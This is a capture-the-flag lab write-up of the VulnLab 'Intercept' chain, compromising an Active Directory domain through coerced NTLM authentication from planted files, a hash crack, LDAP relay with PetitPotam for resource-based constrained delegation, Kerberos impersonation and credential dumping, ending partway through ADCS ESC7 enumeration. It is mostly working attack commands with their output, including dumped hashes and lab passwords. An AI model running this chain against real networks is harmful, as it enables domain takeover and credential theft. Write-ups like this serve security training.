vulnlab-intercept

vulnlab intercept

Intercept is a hard rated chain which contains two machines WS01 and DC01. The chain starts with forced authentication using a file upload to grab a users hash. Using this user we performed the Resourced Based Contrained Delegation (RBCD) WebClient attack to escalate privileges. Finally using ESC7 we elevate privileges to Domain Admin.

 

.

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ smbclient -L \\\\ws01.intercept.vl
Password for [WORKGROUP\puck]:

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    dev             Disk      shared developer workspace
    IPC$            IPC       Remote IPC
    Users           Disk      
Reconnecting with SMB1 for workgroup listing.

or

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ nxc smb ws01.intercept.vl -u test -p '' --shares 
SMB         10.10.140.198   445    WS01             [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB         10.10.140.198   445    WS01             [+] intercept.vl\test: (Guest)
SMB         10.10.140.198   445    WS01             [*] Enumerated shares
SMB         10.10.140.198   445    WS01             Share           Permissions     Remark
SMB         10.10.140.198   445    WS01             -----           -----------     ------
SMB         10.10.140.198   445    WS01             ADMIN$                          Remote Admin
SMB         10.10.140.198   445    WS01             C$                              Default share
SMB         10.10.140.198   445    WS01             dev             READ,WRITE      shared developer workspace
SMB         10.10.140.198   445    WS01             IPC$            READ            Remote IPC
SMB         10.10.140.198   445    WS01             Users           READ            

.

Next, I attempted to enumerate SMB shares on DC01 using a blank password with the user test, but it resulted in a STATUS_LOGON_FAILURE. No anonymous access here, which means we’ll need valid credentials to proceed further. Since SMB signing is enabled, relay attacks arenot possible there.

Checking smb on WS01

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ smbclient //ws01.intercept.vl/dev/     
Password for [WORKGROUP\puck]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun 12 08:45:21 2025
  ..                                  D        0  Thu Jun 12 08:45:21 2025
  projects                            D        0  Thu Jun 29 13:57:25 2023
  readme.txt                          A      123  Thu Jun 29 13:44:59 2023
  tools                               D        0  Thu Jun 29 13:51:17 2023

        7834107 blocks of size 4096. 1220278 blocks available
smb: \> mget *
Get file readme.txt? y
getting file \readme.txt of size 123 as readme.txt (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
smb: \> 

$ cat readme.txt
Please check this share regularly for updates to the application (this is a temporary solution until we switch to gitlab).

.

Forcing NTLM Authentication via File Execution

If we can trick the system into authenticating against us, we might get a hash to crack or relay.

To achieve this, I’ll be using NTLMTheft, ntlm_theft is a tool that generates multiple file types capable of triggering authentication requests.

The plan is simple:
1. Generate malicious files with different extensions using NTLMTheft.
2. Upload these files to the dev share.
3. Run Responder on my VPN tunnel IP to intercept any authentication attempts.
Now, let’s generate some files named mav.<extension>, drop them into /dev, and see what comes knocking on Responder’s door.

.

┌──(puck㉿kali)-[~/vulnlab/intercept/ntlm_theft]
└─$ python ntlm_theft.py --generate all --server 10.8.2.138 --filename puck  

 

.

upload files to smb share and capture hashes with smbserver.py/responder

┌──(puck㉿kali)-[~/vulnlab/intercept/ntlm_theft/puck]
└─$ smbclient //ws01.intercept.vl/dev/  
Password for [WORKGROUP\puck]:
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> mput *
putting file puck-(stylesheet).xml as \puck-(stylesheet).xml (2.9 kb/s) (average 2.9 kb/s)
putting file puck-(externalcell).xlsx as \puck-(externalcell).xlsx (107.9 kb/s) (average 54.9 kb/s)
putting file puck.pdf as \puck.pdf (1.0 kb/s) (average 8.0 kb/s)
putting file puck-(frameset).docx as \puck-(frameset).docx (24.1 kb/s) (average 13.4 kb/s)
putting file puck.m3u as \puck.m3u (0.8 kb/s) (average 12.8 kb/s)
putting file puck-(icon).url as \puck-(icon).url (1.9 kb/s) (average 12.4 kb/s)
putting file puck-(includepicture).docx as \puck-(includepicture).docx (191.9 kb/s) (average 19.0 kb/s)
putting file puck.wax as \puck.wax (0.4 kb/s) (average 17.2 kb/s)
putting file puck.htm as \puck.htm (1.8 kb/s) (average 16.8 kb/s)
putting file puck.application as \puck.application (32.2 kb/s) (average 17.3 kb/s)
putting file puck-(url).url as \puck-(url).url (1.2 kb/s) (average 16.9 kb/s)
putting file puck-(fulldocx).xml as \puck-(fulldocx).xml (112.0 kb/s) (average 42.8 kb/s)
putting file puck.rtf as \puck.rtf (2.0 kb/s) (average 41.9 kb/s)
putting file puck.scf as \puck.scf (1.9 kb/s) (average 41.2 kb/s)
putting file desktop.ini as \desktop.ini (0.4 kb/s) (average 39.4 kb/s)
putting file Autorun.inf as \Autorun.inf (0.2 kb/s) (average 33.1 kb/s)
putting file puck-(remotetemplate).docx as \puck-(remotetemplate).docx (95.4 kb/s) (average 38.2 kb/s)
putting file puck.jnlp as \puck.jnlp (4.3 kb/s) (average 37.8 kb/s)
putting file puck.lnk as \puck.lnk (42.3 kb/s) (average 37.8 kb/s)
putting file zoom-attack-instructions.txt as \zoom-attack-instructions.txt (2.0 kb/s) (average 37.3 kb/s)
putting file puck.asx as \puck.asx (0.4 kb/s) (average 33.7 kb/s)
smb: \> 

 

Catch the hashes

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ impacket-smbserver share share -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.140.198,52568)
[*] AUTHENTICATE_MESSAGE (INTERCEPT\Kathryn.Spencer,WS01)
[*] User WS01\Kathryn.Spencer authenticated successfully
[*] Kathryn.Spencer::INTERCEPT:aaaaaaaaaaaaaaaa:e0702b1c406f5c94a7588fe49c9d53d6:010100000000000000d84fe967dbdb0146a64db6ebd8de1400000000010010005500660064006c00780050006e007900030010005500660064006c00780050006e00790002001000730074006a007100630064007300780004001000730074006a00710063006400730078000700080000d84fe967dbdb0106000400020000000800300030000000000000000000000000200000e61ec3e00acf13223b249503308f063b7eb794b17d85a0b92bc86b7c421a9ef10a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0032002e003100330038000000000000000000

next we crack the hash

The hash identifier for NetNTLMv2 hashes is 5600. You can find this within the hashcat example hashes page.

hashcat -a 0 -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -o cracked

Now enumerate all the users with ldapsearch

ldapsearch -x -LLL -H ldap://dc01.intercept.vl -D ‘kathryn.spencer@intercept.vl’ -b ‘DC=intercept,DC=vl’ -w ‘Chocolate1’ | grep userPrincipalName | awk ‘{print $2}’ | cut -d ‘@’ -f 1 > allusers.txt
try spraying the password on other domain users
netexec smb ws01.intercept.vl -u allusers.txt -p Chocolate1 –continue-on-success
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ netexec smb ws01.intercept.vl -u allusers.txt -p Chocolate1 --continue-on-success
SMB         10.10.140.198   445    WS01             [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Rhys.King:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [+] intercept.vl\Kathryn.Spencer:Chocolate1 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Dale.King:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Billy.Watson:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Hayley.Jennings:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Vincent.Woods:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Dorothy.Ford:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Simon.Bowen:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Reece.Vaughan:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.10.140.198   445    WS01             [-] intercept.vl\Louise.Williams:Chocolate1 STATUS_LOGON_FAILURE

But no result,

I also use ldapdomaindump to get some domain info in HTML format

python -m ldapdomaindump -u ‘intercept.vl\Kathryn.Spencer’ -p ‘Chocolate1’ -o ldap/ 10.10.145.245

next we do some bloodhound analysis

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ bloodhound-ce-python -c all --disable-pooling -w 1 -u kathryn.spencer -p 'Chocolate1' -d intercept.vl -dc dc01.intercept.vl -ns 10.10.140.197 --dns-tcp --zip --dns-timeout 120
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: intercept.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.intercept.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.intercept.vl
INFO: Found 14 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 4 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 1 workers
INFO: Querying computer: WS01.intercept.vl
INFO: Querying computer: DC01.intercept.vl
INFO: Done in 00M 06S
INFO: Compressing output into 20250612091538_bloodhound.zip

.

.

Check LDAP signing [ not enforced = default ]

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ netexec ldap dc01.intercept.vl -u kathryn.spencer -p Chocolate1 -M ldap-checker 
LDAP        10.10.140.197   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:intercept.vl)
LDAP        10.10.140.197   389    DC01             [+] intercept.vl\kathryn.spencer:Chocolate1 
LDAP-CHE... 10.10.140.197   389    DC01             LDAP signing NOT enforced
LDAP-CHE... 10.10.140.197   389    DC01             LDAPS channel binding is set to: Never

 

Check Machine Quota [ 10 = default ]

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ netexec ldap dc01.intercept.vl -u kathryn.spencer -p Chocolate1 -M maq          
LDAP        10.10.140.197   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:intercept.vl)
LDAP        10.10.140.197   389    DC01             [+] intercept.vl\kathryn.spencer:Chocolate1 
MAQ         10.10.140.197   389    DC01             [*] Getting the MachineAccountQuota
MAQ         10.10.140.197   389    DC01             MachineAccountQuota: 10

 

Check WebDAV service is also enabled  [ enabled = not default]

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ nxc smb ws01.intercept.vl -u 'KATHRYN.SPENCER' -p 'Chocolate1' -M webdav 
SMB         10.10.140.198   445    WS01             [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB         10.10.140.198   445    WS01             [+] intercept.vl\KATHRYN.SPENCER:Chocolate1 
WEBDAV      10.10.140.198   445    WS01             WebClient Service enabled on: 10.10.140.198

.

RBCD WebClient Attack

Now that we know that the WebDAV service is active on WS01, LDAP Signing is disabled on the DC, and we can add machine accounts to the domain, we can abuse these conditions in combination with coerced authentication to escalate privileges. However, when relaying our coercion and add RBCD permissions to WS01 the authenticated connection has to originate from a trusted intranet zone. Luckily for us by default the “Authenticated Users” group can create child objects on the ADIDNS zone.

Check what to use with netexec

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ nxc smb DC01.intercept.vl -u KATHRYN.SPENCER -p Chocolate1 -M coerce_plus
SMB         10.10.140.197   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False)
SMB         10.10.140.197   445    DC01             [+] intercept.vl\KATHRYN.SPENCER:Chocolate1 
COERCE_PLUS 10.10.140.197   445    DC01             VULNERABLE, DFSCoerce
COERCE_PLUS 10.10.140.197   445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 10.10.140.197   445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 10.10.140.197   445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 10.10.140.197   445    DC01             VULNERABLE, MSEven

.

Update DNS Records

┌──(puck㉿kali)-[~/krbrelayx]
└─$ python3 dnstool.py -u intercept.vl\\kathryn.spencer -p 'Chocolate1' -r attacker.intercept.vl -a add -d 10.8.2.138 10.10.140.197        
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
    • Edit /etc/resolv.conf to add the DC as a nameserver
cat /etc/resolv.conf      
# Generated by NetworkManager
nameserver <normal nameserver>
nameserver <normal nameserver IPv6>
nameserver <IP address of the domain controller>

This will instruct our machine to use the domain controller as a fallback nameserver Checking the record with the DC as a NS

nslookup attacker.intercept.vl <Domain Controller IP>
Server:         <dc01 IP>
Address:        <dc01 IP>#53

Name:   attacker.intercept.vl
Address: <Should be the attacker address>

┌──(puck㉿kali)-[~/vulnlab]
└─$ nslookup attacker.intercept.vl 10.10.140.197          
Server:		10.10.140.197
Address:	10.10.140.197#53

Name:	attacker.intercept.vl
Address: 10.8.2.138

Up until this point, we have created a DNS entry (which all users in AD can do by default) pointing attacker.intercept.vl back to the attacker IP, we validated this by querying the name server (usually the domain controller) to ensure our record was updated. In order to coerce HTTP authentication with a tool like PetitPotam or PrinterBug, we need to be able to specify a hostname of our box.

With our DNS records set up its time to setup our relay!

Relay LDAP for RBCD

With our DNS records set up, now we need to create the server that will listen for incoming authentication requests and relay them to the DC

$ sudo $(which ntlmrelayx.py) -t ldap://<dc01 IP> -smb2support --delegate-access

Using ntlmrelayx.py, we can create a server that waits for authentication

  • The --delegate-access flag automates the process of performing RBCD
  • If you wanted, you could manually create a machine account and update the mdDS-AllowedToActOnBehalfOfOtherIdentity attribute of ws01$, but this does it for us 🙂 With the server set up, we need to coerce authentication from ws01$, luckily it is vulnerable to PetitPotam
petitpotam -u Kathryn.Spencer -p kathryn_password.txt -d intercept.vl 'attacker@80/test' <ws01 IP>

ntlmrelayx should catch our authentication request and create a new machine account for us

then we can use the dnstool from krbrelayx to create a new DNS record, which is pointing to our IP

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ python3 ~/krbrelayx/dnstool.py -u 'intercept.vl\KATHRYN.SPENCER' -p Chocolate1 --action add --record attacker.intercept.vl --data 10.8.2.138 --type A 10.10.134.213         
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Then we can start a listener with the flag –delegate-access, which will create the new computer for us and active the delegation in one step

sudo impacket-ntlmrelayx -smb2support -t ldap://dc01.intercept.vl --http-port 8080 --delegate-access

┌──(puck㉿kali)-[~/PetitPotam]
└─$ sudo impacket-ntlmrelayx -smb2support -t ldap://dc01.intercept.vl --http-port 8080 --delegate-access 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 8080
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc
[*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc
[*] HTTPD(8080): Connection from 10.10.134.214 controlled, attacking target ldap://dc01.intercept.vl
[*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc
[*] HTTPD(8080): Authenticating against ldap://dc01.intercept.vl as INTERCEPT/WS01$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc
[*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc
[*] All targets processed!
[*] HTTPD(8080): Connection from 10.10.134.214 controlled, but there are no more targets left!
[*] Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
[*] Attempting to create computer in: CN=Computers,DC=intercept,DC=vl
[*] Adding new computer with username: HJSYIEJR$ and password: bs}Naz}A0gKo>II result: OK
[*] Delegation rights modified succesfully!
[*] HJSYIEJR$ can now impersonate users on WS01$ via S4U2Proxy

Finally we just need to trigger the authentication via PetitPotam

python PetitPotam.py -u 'Kathryn.Spencer' -p 'Chocolate1' -d intercept.vl 'attacker@8080/testlab.txt' 10.10.134.214 

┌──(puck㉿kali)-[~/PetitPotam]
└─$ python PetitPotam.py -u 'Kathryn.Spencer' -p 'Chocolate1' -d intercept.vl 'attacker@8080/testlab.txt' 10.10.134.214
/home/puck/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence '\ '
  | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __

                                                                                               
              ___            _        _      _        ___            _                     
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
                                         
              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)
      
                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe lsarpc
[-] Connecting to ncacn_np:10.10.134.214[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

This will give us the above result

Especially this line is what we are looking for

Adding new computer with username: HJSYIEJR$ and password: bs}Naz}A0gKo>II result: OK

With these new machine account credentials, we can impersonate as admin of our target and retrieve all hashes from the ws01 workstation.

Impersonate

Retrieve the Ticket

impacket-getST -dc-ip dc01 -spn www/ws01 'intercept.vl/EYCBPCVD$:gB4Cq;b!bDP-P^O' -impersonate administrator  
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ impacket-getST -spn 'cifs/ws01.intercept.vl' -impersonate Administrator -dc-ip '10.10.134.213' 'intercept.vl/HJSYIEJR$' 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password: bs}Naz}A0gKo>II
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache

Then finally we can test authentication to WS01 using the ticket we’ve received.

KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache nxc smb ws01.intercept.vl --use-kcache

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache nxc smb ws01.intercept.vl --use-kcache 
SMB         ws01.intercept.vl 445    WS01             [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB         ws01.intercept.vl 445    WS01             [+] intercept.vl\Administrator from ccache (Pwn3d!)

WS01 Post Exploitation

When dumping credentials with the --lsa flag, I found Simon.Bowen’s credentials.

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache nxc smb ws01.intercept.vl --use-kcache --lsa
SMB         ws01.intercept.vl 445    WS01             [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB         ws01.intercept.vl 445    WS01             [+] intercept.vl\Administrator from ccache (Pwn3d!)
SMB         ws01.intercept.vl 445    WS01             [+] Dumping LSA secrets
SMB         ws01.intercept.vl 445    WS01             INTERCEPT.VL/Simon.Bowen:$DCC2$10240#Simon.Bowen#35e1bb1dbd5f474e21819bb03ae5d103: (2023-06-27 20:07:12)
SMB         ws01.intercept.vl 445    WS01             INTERCEPT.VL/Kathryn.Spencer:$DCC2$10240#Kathryn.Spencer#4d8e1b44d30998c82793a9808b959d91: (2023-06-29 11:51:33)
SMB         ws01.intercept.vl 445    WS01             INTERCEPT\WS01$:plain_password_hex:bb0cbffead37735da4c0825ac9250e66e33676c8bea7b9ea26420d70af09462ed79b1163fc2db05320f00ab5b668155cb25ade6cde76545dee9b1576038c3381e950972e5755bb76e5b8c6016f118287bd803d069f67447dc0d10b0bdcdc06d86fa5cbb22390b39ea2d98f696a5fbf2002dd808f3b44528e22cbfd219103f19538df9ee76eda616d37a44112a05c84119cc2a7be0d207fa1632310344180b5b87f857e507cd23576cf03a20ece7296382855590fd1e9b56d76bcf0d18103a44949d4d4c005863f13dd9fcfd0843b520a5e37308fa1e945e7686b194a18128eb99052937e481c2595ff683f0f1ef5df2c
SMB         ws01.intercept.vl 445    WS01             INTERCEPT\WS01$:aad3b435b51404eeaad3b435b51404ee:24ac5d1eec032de16e5076f0efceb51a:::
SMB         ws01.intercept.vl 445    WS01             intercept.vl\Kathryn.Spencer:Chocolate1
SMB         ws01.intercept.vl 445    WS01             dpapi_machinekey:0xf6f65580470c139808ab7f0ffb709773d1531dc3
dpapi_userkey:0x24122e60857c28b7f2e6bdd138f22e3e4ddd58f3
SMB         ws01.intercept.vl 445    WS01             Simon.Bowen@intercept.vl:b0OI_fHO859+Aw
SMB         ws01.intercept.vl 445    WS01             [+] Dumped 7 LSA secrets to /home/puck/.nxc/logs/lsa/WS01_ws01.intercept.vl_2025-06-12_123238.secrets and /home/puck/.nxc/logs/lsa/WS01_ws01.intercept.vl_2025-06-12_123238.cached

 


Dump the Hashes

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ export KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache 
                                                                                                                                            
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ klist
Ticket cache: FILE:Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache
Default principal: Administrator@intercept.vl

Valid starting       Expires              Service principal
06/12/2025 12:18:46  06/12/2025 22:18:46  cifs/ws01.intercept.vl@INTERCEPT.VL
    renew until 06/13/2025 12:18:47
                                                                                                                                            
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ impacket-secretsdump -k ws01.intercept.vl                                                                              
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x04718518c7f81484a5ba5cc7f16ca912
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:831cbc509daa37aff98250b635e7f482:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:48daaaaa9654c3754d42b40e292ba63f:::
[*] Dumping cached domain logon information (domain/username:hash)
INTERCEPT.VL/Simon.Bowen:$DCC2$10240#Simon.Bowen#35e1bb1dbd5f474e21819bb03ae5d103: (2023-06-27 20:07:12+00:00)
INTERCEPT.VL/Kathryn.Spencer:$DCC2$10240#Kathryn.Spencer#4d8e1b44d30998c82793a9808b959d91: (2023-06-29 11:51:33+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
INTERCEPT\WS01$:plain_password_hex:bb0cbffead37735da4c0825ac9250e66e33676c8bea7b9ea26420d70af09462ed79b1163fc2db05320f00ab5b668155cb25ade6cde76545dee9b1576038c3381e950972e5755bb76e5b8c6016f118287bd803d069f67447dc0d10b0bdcdc06d86fa5cbb22390b39ea2d98f696a5fbf2002dd808f3b44528e22cbfd219103f19538df9ee76eda616d37a44112a05c84119cc2a7be0d207fa1632310344180b5b87f857e507cd23576cf03a20ece7296382855590fd1e9b56d76bcf0d18103a44949d4d4c005863f13dd9fcfd0843b520a5e37308fa1e945e7686b194a18128eb99052937e481c2595ff683f0f1ef5df2c
INTERCEPT\WS01$:aad3b435b51404eeaad3b435b51404ee:24ac5d1eec032de16e5076f0efceb51a:::
[*] DefaultPassword 
intercept.vl\Kathryn.Spencer:Chocolate1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xf6f65580470c139808ab7f0ffb709773d1531dc3
dpapi_userkey:0x24122e60857c28b7f2e6bdd138f22e3e4ddd58f3
[*] NL$KM 
 0000   4C A8 6F 51 3B B6 E6 22  0B A7 7A FD 4F 32 EA BC   L.oQ;.."..z.O2..
 0010   78 7A 98 1E DD 83 F2 70  37 73 9B 6C D0 03 9B 7F   xz.....p7s.l....
 0020   FA EA 8D AF A0 84 F9 0D  24 17 3C C9 97 3D 8A E7   ........$.<..=..
 0030   BC EE 5D B7 20 73 02 B7  E1 A7 62 E6 4D 8E F8 ED   ..]. s....b.M...
NL$KM:4ca86f513bb6e6220ba77afd4f32eabc787a981edd83f27037739b6cd0039b7ffaea8dafa084f90d24173cc9973d8ae7bcee5db7207302b7e1a762e64d8ef8ed
[*] _SC_HelpdeskService 
Simon.Bowen@intercept.vl:b0OI_fHO859+Aw
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

Now we can login as administrator to the workstation and capture the first flag

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ evil-winrm -i ws01.intercept.vl -u Administrator -H 831cbc509daa37aff98250b635e7f482
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
WS01
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls


    Directory: C:\Users\Administrator\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/27/2023   1:26 PM             36 flag.txt


*Evil-WinRM* PS C:\Users\Administrator\desktop> type flag.txt
VL{c2521<redacted>1885}

 

summary: If all successful, this will force the machine account of ws01 (ws01$) to send an HTTP authentication request to our ntlmrelayx server. From here, ntlmrelayx relay this authentication request to the Domain Controller, authenticate as ws01$, and update the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of itself (ws01) to add the newly created machine account. Since we wrote the new machine account we control into msDS-AllowedToActOnBehalfOfOtherIdentity of ws01, we can now perform RBCD to request a Kerberos ticket as any user on ws01, including the Administrator 🙂

  • If this attack chain seems confusing to you, I recommend brushing up on RBCD and LDAP Relaying

 


Active Directory DACL Abuse Into ESC7 Exploitation

After re-running bloodhound with Simon’s access, I came across an interesting relationship between some of the objects. Simon is in the Helpdesk group, which has GenericAll over a group called ca-managers. If this group has a purpose descriptive name, then it looks like we have a path to DA (Domain Admin)

Using certipy to enumerate ADCS, we can see that one of the groups that has the ManageCA permission is the ca-managers group, which simon.bowen has GenericAll permissions over

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ certipy-ad find -username 'Simon.Bowen' -password 'b0OI_fHO859+Aw' -vulnerable -dc-ip 10.10.134.213 -stdout  
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'intercept-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'intercept-DC01-CA'
[*] Checking web enrollment for CA 'intercept-DC01-CA' @ 'DC01.intercept.vl'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : intercept-DC01-CA
    DNS Name                            : DC01.intercept.vl
    Certificate Subject                 : CN=intercept-DC01-CA, DC=intercept, DC=vl
    Certificate Serial Number           : 1872761AC352DC844AC32E94BF4E6A71
    Certificate Validity Start          : 2023-06-27 13:24:59+00:00
    Certificate Validity End            : 2125-06-12 10:17:11+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : INTERCEPT.VL\Administrators
      Access Rights
